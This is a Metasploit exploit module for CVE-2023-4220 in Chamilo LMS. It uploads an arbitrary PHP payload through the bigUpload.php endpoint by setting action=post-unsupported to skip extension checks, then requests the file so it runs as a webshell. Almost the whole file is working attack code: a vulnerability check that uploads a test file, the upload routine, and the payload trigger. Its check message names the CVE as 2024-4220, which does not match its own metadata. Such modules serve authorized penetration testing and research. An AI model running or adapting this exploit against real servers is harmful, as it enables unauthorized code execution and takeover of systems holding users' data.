chamilo_bigupload_webshell.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  class UploadFileError < StandardError; end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Chamilo v1.11.24 Unrestricted File Upload PHP Webshell',
        'Description' => %q{
          Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24
          a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter `action` is set to
          `post-unsupported` file extension checks are skipped allowing for attacker controlled .php files to be uploaded to:
          `/main/inc/lib/javascript/bigupload/files/` if the `/files/` directory already exists - it does not exist
          by default.
        },
        'Author' => [
          'Ngo Wei Lin', # discovery
          'jheysel-r7'   # module
        ],
        'References' => [
          [ 'URL', 'https://starlabs.sg/advisories/23/23-4220/'],
          [ 'URL', 'https://github.com/H4cking4All/CVE-2023-4220/tree/main'],
          [ 'CVE', '2023-4220']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => ['php'],
              'Arch' => ARCH_PHP
            }
          ],
        ],
        'DisclosureDate' => '2023-11-28',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/files/')
    )

    return CheckCode::Safe('The directory /main/inc/lib/javascript/bigupload/files/ does not exist on the target') if res&.code == 404

    print_good('The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.')
    test_file_content = rand_text_alphanumeric(8)
    test_file_name = rand_text_alphanumeric(8)

    begin
      upload_file(test_file_content, test_file_name)
    rescue UploadFileError => e
      return CheckCode::Safe("#{e.class}:#{e}")
    end

    CheckCode::Vulnerable('File upload was successful (CVE-2024-4220 was exploited successfully).')
  end

  def upload_file(file_contents, file_name)
    vars_form_data = [
      {
        'name' => 'bigUploadFile',
        'data' => file_contents,
        'filename' => file_name,
        'mime_type' => 'application/octet-stream'
      }
    ]

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/main/inc/lib/javascript/bigupload/inc/bigUpload.php'),
      'vars_form_data' => vars_form_data,
      'vars_get' => {
        'action' => 'post-unsupported'
      }
    )

    raise UploadFileError, 'The file upload failed.' unless res&.code == 200 && res&.body == 'The file has successfully been uploaded.'

    register_file_for_cleanup(file_name)
  end

  def exploit
    file_contents = payload.encoded
    file_name = "#{Rex::Text.rand_text_alpha(8..16)}.php"

    begin
      upload_file(file_contents, file_name)
    rescue UploadFileError => e
      fail_with(Failure::UnexpectedReply, "#{e.class}:#{e}")
    end

    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/main/inc/lib/javascript/bigupload/files', file_name)
    })
  end
end